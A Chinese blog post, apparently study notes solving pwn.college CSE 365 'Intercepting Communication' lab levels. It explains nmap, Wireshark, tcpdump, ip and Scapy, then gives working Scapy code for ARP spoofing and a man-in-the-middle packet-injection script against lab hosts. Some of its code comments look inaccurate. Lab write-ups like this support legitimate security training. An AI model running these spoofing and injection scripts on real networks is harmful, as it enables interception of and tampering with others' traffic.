【入門筆記】CSE 365 - Fall 2024之Intercepting Communication(pwn.college)

Super_Snow_Sword發表於2024-11-01

【入門筆記】CSE 365 - Fall 2024之Intercepting Communication(pwn.college)

level1 連線到遠端主機

檢視解析
為了知道目標遠端主機的ip地址,我們執行`/challenge/run`開啟遠端主機環境
再使用nc連線到遠端主機的特定埠

level2 監聽來自遠端主機的連線

監聽來自遠端主機的連線是指在計算機網路中,某個服務或應用程式在特定的網路埠上等待並接受來自其他計算機(即遠端主機)的連線請求。這是網路通訊的基本機制,允許客戶端與伺服器之間進行資料交換。

image-20241031165530444

檢視解析
nc -l
使用`-l`表示“監聽”(listen),使用這個選項,netcat 將在指定的埠上等待連線,而不是嘗試連線到遠端主機

level3 查詢並連線到遠端主機

nmap

nmap(Network Mapper)是一種開源的網路掃描和安全審計工具,廣泛用於網路探索和安全評估。它可以幫助使用者識別網路中的主機、服務、作業系統以及其他網路資訊。

主要功能

  1. 主機發現
    • 確定網路中存活的主機。可以透過 ping 掃描、ARP 掃描等方式發現活動裝置。
  2. 埠掃描
    • 檢查主機上開放的埠,確定哪些服務在執行。常用的掃描型別包括 TCP SYN 掃描、全連線掃描和 UDP 掃描。
  3. 服務識別
    • 確定每個開放埠上執行的服務,包括版本資訊,幫助評估潛在的安全漏洞。
  4. 作業系統檢測
    • 透過分析網路包的響應,推測目標主機的作業系統及其版本。
  5. 指令碼引擎
    • 使用 Nmap Scripting Engine (NSE),使用者可以編寫和使用指令碼來自動化各種掃描任務,例如漏洞檢測和網路服務資訊收集。
  6. 網路拓撲對映
    • 生成網路結構的視覺化圖,幫助使用者理解網路的佈局和連線。

【筆記】Nmap工具原理探索 - Super_Snow_Sword - 部落格園

檢視解析
使用`nmap`掃描活動裝置ip
`nmap 10.0.0.0/24`
在 10.0.0.0/24 中,主機可用的 IP 地址範圍是從 10.0.0.1 到 10.0.0.254

level4 查詢並連線到大型網路上的遠端主機

檢視解析
使用`nmap`掃描活動裝置ip
`nmap 10.0.0.0/16`
在 10.0.0.0/16 中,包含 IP 地址範圍從 10.0.0.0 到 10.0.255.255共65536個地址
為了加快掃描速度,我們新增"--min-parallelism"指定最小並行掃描的數量
`nmap --min-parallelism 6000 10.0.0.0/16`

level5 從遠端主機監視流量

wireshark

Wireshark 是一個廣泛使用的網路協議分析工具,它能夠捕獲和詳細分析網路流量。以下是對 Wireshark 的介紹,包括其功能、使用場景和基本操作:

主要功能

  1. 資料包捕獲
    • Wireshark 可以實時捕獲網路流量,支援多種網路介面(如乙太網、Wi-Fi 等)。
  2. 協議分析
    • 能夠解析和分析數百種網路協議,如 TCP、UDP、HTTP、DNS、ARP 等,使用者可以檢視每個協議層的詳細資訊。
  3. 資料過濾
    • 提供強大的過濾功能,使用者可以根據協議、IP 地址、埠號等條件過濾捕獲的資料包,幫助聚焦於感興趣的流量。
  4. 流量重組
    • Wireshark 可以將分散的 TCP 資料流重新組裝,以便更清晰地檢視完整的通訊內容。
  5. 圖形介面
    • 提供使用者友好的圖形介面,使用者可以透過視覺化工具方便地瀏覽和分析網路資料。
  6. 匯入和匯出
    • 支援多種檔案格式,使用者可以將捕獲的資料儲存為不同格式的檔案,以便於後續分析或共享。

使用場景

  1. 網路故障排除
    • 系統管理員和網路工程師使用 Wireshark 診斷網路問題,分析流量以識別瓶頸和錯誤。
  2. 安全分析
    • 安全專業人員使用 Wireshark 檢測和分析網路攻擊、惡意流量或未授權的訪問。
  3. 協議開發
    • 開發人員可以使用 Wireshark 除錯和驗證新開發的網路協議。
  4. 教育和培訓
    • 用於網路課程和培訓,幫助學生和新手理解網路協議和資料包結構。
檢視解析
使用`wireshark`程式並且監視`eth0`網路介面的流量,我們能在一些tcp協議的資料包中收到data資料

image-20241031181122209

level6 從遠端主機監視緩慢的流量

檢視解析
使用`wireshark`程式並且監視`eth0`網路介面的流量,我們能在一些tcp流中收到data資料
wireshark檢視tcp流教程:https://www.cnblogs.com/handsomexuejian/p/18302560#tid-bksGa6

image-20241031194136234

level7 透過配置網路介面從遠端主機劫持流量

tcpdump

tcpdump 是一個強大的命令列網路資料包捕獲和分析工具,廣泛用於網路故障排查和安全分析。以下是對 tcpdump 的詳細介紹:

主要功能

  1. 資料包捕獲
    • tcpdump 能夠捕獲透過網路介面傳輸的資料包,並在終端顯示或儲存到檔案中。
  2. 過濾器
    • 可以使用複雜的過濾表示式,僅捕獲滿足特定條件的資料包(如特定 IP 地址、埠號或協議)。
  3. 協議解析
    • tcpdump 能夠解析多種網路協議,如 TCP、UDP、ICMP 等,方便使用者理解捕獲的資料包內容。
  4. 實時監控
    • 可以實時顯示資料包流量,有助於即時監控網路活動。

ip

在 Linux 中,ip 命令是一個強大的工具,用於網路管理和配置。它是 iproute2 包的一部分,取代了傳統的 ifconfig 命令。

基本用法

  1. 檢視網路介面

    ip addr show
    

    或者簡寫為:

    ip a
    

    這個命令用於顯示所有網路介面及其配置資訊,包括 IP 地址、MAC 地址和狀態。

  2. 新增 IP 地址

    ip address add 192.168.1.10/24 dev eth0
    

    這個命令用於為指定的網路介面(如 eth0)新增一個新的 IP 地址。

  3. 刪除 IP 地址

    ip address del 192.168.1.10/24 dev eth0
    

    這個命令用於從指定的網路介面中刪除一個 IP 地址。

  4. 檢視路由表

    ip route show
    

    該命令顯示當前系統的路由表。

  5. 新增路由

    ip route add 10.0.0.0/24 via 192.168.1.1
    

    這個命令用於新增一條新的路由,指定資料包應該透過哪個閘道器傳送。

  6. 刪除路由

    ip route del 10.0.0.0/24
    

    用於刪除指定的路由。

檢視解析
這次挑戰中位於“10.0.0.4”的遠端主機正在埠“31337”上與位於“10.0.0.2”的遠端主機通訊。
我們首先`tcpdump -i any` 用於實時監控網路流量,捕獲和檢視從遠端主機 10.0.0.4 傳送到埠 31337 的所有資料包(也能用wireshark進行分析)`-i`指定要監控的網路介面,`any`表示監聽系統中所有可用的網路介面
我們可以發現每隔一段時間 10.0.0.4 都會傳送ARP包來尋找 10.0.0.2 
接下來將指定的 IP 地址分配給網路介面 eth0,使該介面能夠在指定的網路上進行通訊
`ip address add 10.0.0.2 dev eth0`透過將 10.0.0.2 配置為該介面的 IP 地址,這樣我們的主機就能夠與 10.0.0.4 進行通訊
然後我們監聽31337埠,等待 10.0.0.4 給我們傳flag
nc -l 31337

image-20241031204135960

level8 手動傳送以太資料包(Ethernet packet)

Ethernet packet

乙太網資料包(Ethernet packet)是計算機網路中用於在區域網(LAN)中傳輸資料的基本單位。位於OSI模型的第二層,也就是資料鏈路層(Data Link Layer)。

乙太網資料包的結構

乙太網資料包通常由以下幾個部分組成:

  • 前導碼(Preamble):通常為 7 位元組,幫助接收裝置同步時鐘。
  • 幀開始定界符(Start Frame Delimiter, SFD):1 位元組,指示資料包的開始。
  • 源 MAC 地址(Source MAC Address):6 位元組,傳送裝置的實體地址。
  • 目標 MAC 地址(Destination MAC Address):6 位元組,接收裝置的實體地址。
  • 型別欄位(Type Field):2 位元組,指示上層協議(如 IPv4 或 IPv6)。
  • 負載(Payload):資料部分,通常為 46 至 1500 位元組,包含實際傳輸的資料。
  • 幀校驗序列(Frame Check Sequence, FCS):4 位元組,用於檢測資料包在傳輸過程中是否發生了錯誤。

工作原理

  • 資料傳輸:乙太網資料包透過網路交換機和網路介面卡在裝置之間進行傳輸。每個裝置都有唯一的 MAC 地址,網路中的裝置透過這個地址來識別資料包的目標。
  • 資料封裝:在傳送資料時,作業系統將資料封裝成乙太網資料包,並新增必要的頭部資訊。

Scapy

Scapy 是一個強大的 Python 庫,用於網路包的建立、傳送、嗅探和解析。它廣泛應用於網路安全、滲透測試、網路監控和協議分析等領域。以下是 Scapy 的一些主要特性和功能:

主要特性

  1. 靈活的包建立
    • Scapy 允許使用者以非常靈活的方式構建各種網路協議的資料包,包括 Ethernet、IP、TCP、UDP、ICMP 等。
    • 使用者可以自定義資料包的各個欄位,支援巢狀協議。
  2. 傳送和接收資料包
    • 使用者可以透過簡單的命令傳送資料包到網路,並接收響應。
    • Scapy 支援在指定介面上傳送和接收資料包。
  3. 嗅探功能
    • Scapy 可以實時捕獲和分析網路流量,支援各種過濾條件。
    • 使用者可以根據協議型別、IP 地址、埠號等過濾捕獲的資料包。
  4. 協議分析
    • Scapy 提供了多種工具和方法來分析和解析捕獲的資料包。
    • 使用者可以輕鬆地提取資料包的各個欄位和資訊。
  5. 擴充套件性
    • Scapy 支援外掛,使用者可以根據需要擴充套件其功能。
    • 可以透過自定義協議實現特定的網路分析需求。

應用場景

  • 滲透測試:用於測試網路的安全性,包括發現開放埠、執行掃描和構造惡意資料包等。
  • 網路故障排除:透過捕獲和分析網路流量,幫助識別網路故障的原因。
  • 協議研究:用於研究和測試新的網路協議,驗證協議的實現和功能。
檢視解析
在這個挑戰中,您將手動傳送一個乙太網資料包。資料包應該有‘ Ether type=0xFFFF ’。該資料包應該被髮送到位於“10.0.0.3”的遠端主機。
為了構造乙太網資料包,我們首先要獲取我們的實體地址`ip a`
然後我們使用scapy庫,可以直接使用`scapy`
from scapy.all import * 	#這行程式碼匯入Scapy庫中的所有功能和類,以便在後續的程式碼中使用。這意味著可以直接使用Scapy的各種功能而不需要每次都加上scapy.字首。
sendp(
	Ether(
		src="<你的實體地址>", type=0xFFFF)
	/IP(
		src="10.0.0.2", dst="10.0.0.3")
	, iface="eth0")	
# sendp() 函式用於傳送乙太網層的資料包;
#Ether()一個構造乙太網幀的函式,用於定義乙太網幀的各個欄位,src指定源 MAC 地址,type指定乙太網型別,表示上層協議的型別;
#`/IP()`中`/`是一種使用運算子過載的語法,其中 Ether(乙太網層)是外層,而 IP(網路層)是內層。`IP()`是一個構造 IP 資料包的函式,設定源和目標 IP 地址。乙太網幀作為資料鏈路層的協議,會包含上層協議(如 IP 資料包)的資訊;
#`iface`用於指定要透過哪個網路介面傳送資料包

level9 手動傳送IP資料包(Internet Protocol packet)

Internet Protocol packet

IP資料包是網路層的基本資料單元,用於在計算機網路中傳輸資料。它封裝了傳送方和接收方的地址資訊,並攜帶了要傳輸的資料(稱為有效載荷)

檢視解析
在這個挑戰中,您將手動傳送一個Internet協議資料包。資料包應該有‘ IP proto=0xFF ’。資料包應該被髮送到遠端主機‘ 10.0.0.3 ’
為了構造以IP資料包,我們首先要獲取我們的實體地址`ip a`
然後我們使用scapy庫,可以直接使用`scapy`
from scapy.all import *
sendp(
	Ether(
		src="<你的實體地址>")
	/IP(
		proto=0xFF,src='10.0.0.2',dst='10.0.0.3')
	,iface='eth0')
#proto=0xFF 指定 IP 資料包的協議欄位

level10 手動傳送TCP資料包(Transmission Control Protocol)

Transmission Control Protocol

傳輸控制協議(TCP,Transmission Control Protocol)是一種面向連線的、可靠的傳輸層協議,廣泛應用於網際網路通訊。它的主要作用是確保在網路中資料的可靠傳輸,並保證資料的順序和完整性。TCP連線原理可以檢視: 【TCP三次握手和四次揮手】

檢視解析
在這個挑戰中,您將手動執行傳輸控制協議握手。初始資料包應該具有“TCP sport=31337, dport=31337, seq=31337”。握手應該發生在遠端主機‘ 10.0.0.3 ’處。
scapy
from scapy.all import *
sendp(
	Ether(
		src=get_if_hwaddr("eth0"))
	/ IP(
		src="10.0.0.2", dst="10.0.0.3")
	/ TCP(
		sport=31337, dport=31337, seq=31337, ack=31337, flags="APRSF")
	, iface="eth0")
#sport	設定源埠
#dport	設定目標埠
#seq	設定 TCP 的序列號
#ack	設定 TCP 的確認號
#flags="APRSF"	設定 TCP 標誌位,組合了以下標誌:
#A: ACK(確認)
#P: PSH(推送)
#R: RST(重置)
#S: SYN(同步)
#F: FIN(結束)

level11 手動執行TCP協議握手

檢視解析
在這個挑戰中,您將手動執行傳輸控制協議握手。初始資料包應該具有“TCP sport=31337, dport=31337, seq=31337”。握手應該發生在遠端主機‘ 10.0.0.3 ’處。
scapy
from scapy.all import *
results, unanswered = 
srp(
	Ether(
		src=get_if_hwaddr("eth0"), dst="ff:ff:ff:ff:ff:ff")
	/IP(
		src="10.0.0.2", dst="10.0.0.3")
	/TCP(
		sport=31337, dport=31337, seq=31337, flags="S")
	, iface="eth0") 
#results 是接收到的響應列表,unanswered 是未收到響應的資料包列表;
#srp()函式用於傳送並接收資料包,適合需要響應的場景;
#dst="ff:ff:ff:ff:ff:ff"說明目標 MAC 地址為廣播地址,表示傳送給網路中的所有裝置。
query, answer = results[0]	#從 results 中提取第一個響應。
							#query 代表傳送的資料包,answer 代表收到的響應資料包。
sendp(
	Ether(
		src=get_if_hwaddr("eth0"), dst="ff:ff:ff:ff:ff:ff")
	/IP(
		src="10.0.0.2", dst="10.0.0.3")
	/TCP(
		sport=31337, dport=31337, seq=answer["TCP"].ack, ack=answer["TCP"].seq+1, flags="A")
	, iface="eth0")
#seq=answer["TCP"].ack	將序列號設定為收到的 ACK。
#ack=answer["TCP"].seq + 1	設定確認號為接收到的序列號加 1。
#flags="A"	設定 TCP 標誌為 ACK(確認)。

image

level12 手動傳送ARP協議報文(Address Resolution Protocol packet)

Address Resolution Protocol packet

地址解析協議(Address Resolution Protocol,ARP)是一種用於在區域網(LAN)中將網路層地址(通常是 IP 地址)解析為資料鏈路層地址(通常是 MAC 地址)的協議。ARP 是在網路通訊中非常重要的一部分,因為裝置透過 MAC 地址進行直接通訊。

檢視解析
在這個挑戰中,您將手動傳送一個地址解析協議資料包。資料包應該有“ARP op=is-at”,並正確地通知遠端主機可以找到傳送者的位置。資料包應該被髮送到遠端主機‘ 10.0.0.3 ’。
scapy 
from scapy.all import * 
sendp(
	Ether(
		src=get_if_hwaddr("eth0"), dst="ff:ff:ff:ff:ff:ff")
	/ARP(
		op="is-at", psrc="10.0.0.2", hwsrc=get_if_hwaddr("eth0"), pdst="10.0.0.4")
	, iface="eth0")
#op="is-at"	表示該 ARP 包是一個 ARP 響應(“is-at”表示“是位於”)。這表明傳送者要告知其他裝置自己的 IP 地址和對應的 MAC 地址
#psrc="10.0.0.2"	設定源 IP 地址,表示傳送者的 IP 地址。
#hwsrc	表示傳送者的 MAC 地址
#pdst="10.0.0.4":設定目標 IP 地址,表示要告知的裝置 IP 地址。

level13 使用ARP劫持遠端主機的流量

檢視解析
在這個挑戰中,您將使用ARP劫持來自遠端主機的流量。
您不具備NET管理員的能力。位於“10.0.0.4”的遠端主機正在埠“31337”上與位於“10.0.0.2”的遠端主機通訊。
scapy 
from scapy.all import * 
sendp(
	Ether(
		src=get_if_hwaddr("eth0"), dst="ff:ff:ff:ff:ff:ff")
	/ARP(op="is-at", psrc="10.0.0.2", hwsrc=get_if_hwaddr("eth0"), pdst="10.0.0.4"), iface="eth0")
#傳送一個 ARP 響應包(ARP Reply),通知網路中的裝置,IP 地址 10.0.0.4 對應的 MAC 地址是當前裝置的 MAC 地址。這實際上是欺騙網路中的其他裝置,使它們認為此裝置是 10.0.0.4 的“合法”持有者。
exit
ip addr add 10.0.0.2 dev eth0	#在網路介面 eth0 上新增一個新的 IP 地址 10.0.0.2,子網掩碼預設為 /24 。這使得當前裝置能夠與其他在 10.0.0.0/24 網段的裝置進行通訊。
nc -l 31337

一條影片講清楚什麼是ARP協議-ARP攻擊又是什麼

level14 兩個遠端主機之間的中間人流量並注入額外的流量

檢視解析
在這個挑戰中,您將管理兩臺遠端主機之間的中間流量,並注入額外的流量。位於“10.0.0.4”的遠端主機正在埠“31337”上與位於“10.0.0.3”的遠端主機通訊。
scapy 
from scapy.all import * 
sendp(
	Ether(
		src=get_if_hwaddr("eth0"), dst="ff:ff:ff:ff:ff:ff")
	/ARP(
		op="is-at", psrc="10.0.0.3", pdst="10.0.0.4")
	,iface="eth0") 
sendp(
	Ether(
		src=get_if_hwaddr("eth0"), dst="ff:ff:ff:ff:ff:ff")
	/ARP(
		op="is-at", psrc="10.0.0.4", pdst="10.0.0.3")
	,iface="eth0")
#第一個資料包:告知網路中的裝置(特別是 10.0.0.4)“10.0.0.3”的 MAC 地址是當前裝置的 MAC 地址。這使得 10.0.0.4 在傳送資料包時,將資料包發往當前裝置,而不是實際的 10.0.0.3。
#第二個資料包:告知網路中的裝置(特別是 10.0.0.3)“10.0.0.4”的 MAC 地址是當前裝置的 MAC 地址。這樣,10.0.0.3 也會將資料包傳送到當前裝置,而不是實際的 10.0.0.4。
之後我們要構造一個指令碼,要做到:
1.檢視捕獲到的 TCP 資料包
2.在特定條件下(原始負載的第一個位元組為 "C")傳送一個新資料包
from scapy.all import *
def inject(pkt): 
    # 定義一個名為 inject 的函式,用於處理捕獲到的資料包 pkt
    # 列印資料包資訊
    print("--- PKT: ---") 
    # 列印源 IP 和目標 IP 地址
    print(f"src: {pkt[IP].src},   dst: {pkt[IP].dst}") 
    # 列印源埠和目標埠
    print(f"sport: {pkt[TCP].sport},   dport: {pkt[TCP].dport}") 
    # 列印序列號和確認號
    print(f"seq: {pkt.seq},   ack: {pkt.ack}") 
    # 列印 TCP 標誌位
    print(f"flags: {pkt[TCP].flags}") 
    # 檢查資料包中是否包含原始負載
    if(Raw in pkt): 
        # 如果存在原始負載,列印其內容
        print(f"load: {pkt[Raw].load}")                                                  
    # 判斷原始負載的第一個位元組是否是字元 "C"
    if(pkt[Raw].load[0] == ord("C")): 
        # 如果是,則傳送一個新的資料包
        sendp(
            Ether(
            	src=pkt[Ether].dst, dst=pkt[Ether].src)
            /IP(
            	src=pkt[IP].dst, dst=pkt[IP].src)
            /TCP(
                sport=pkt[TCP].dport, 
                dport=pkt[TCP].sport, 
                seq=pkt.ack, 
                ack=(pkt.seq + len(pkt[Raw].payload)), 
                flags="PA") 
             /Raw(load="FLAG\n"), 
        iface="eth0"
        )  
    # 列印資料包的時間戳
    print(f"time: {pkt.time}\n") 
# 開始嗅探 tcp 資料包,當捕獲到資料包時呼叫 inject 函式進行處理
sniff(filter="tcp", iface="eth0", prn=inject)

最後這一段還是不太清楚以後會努力搞明白的(挖坑)

相關文章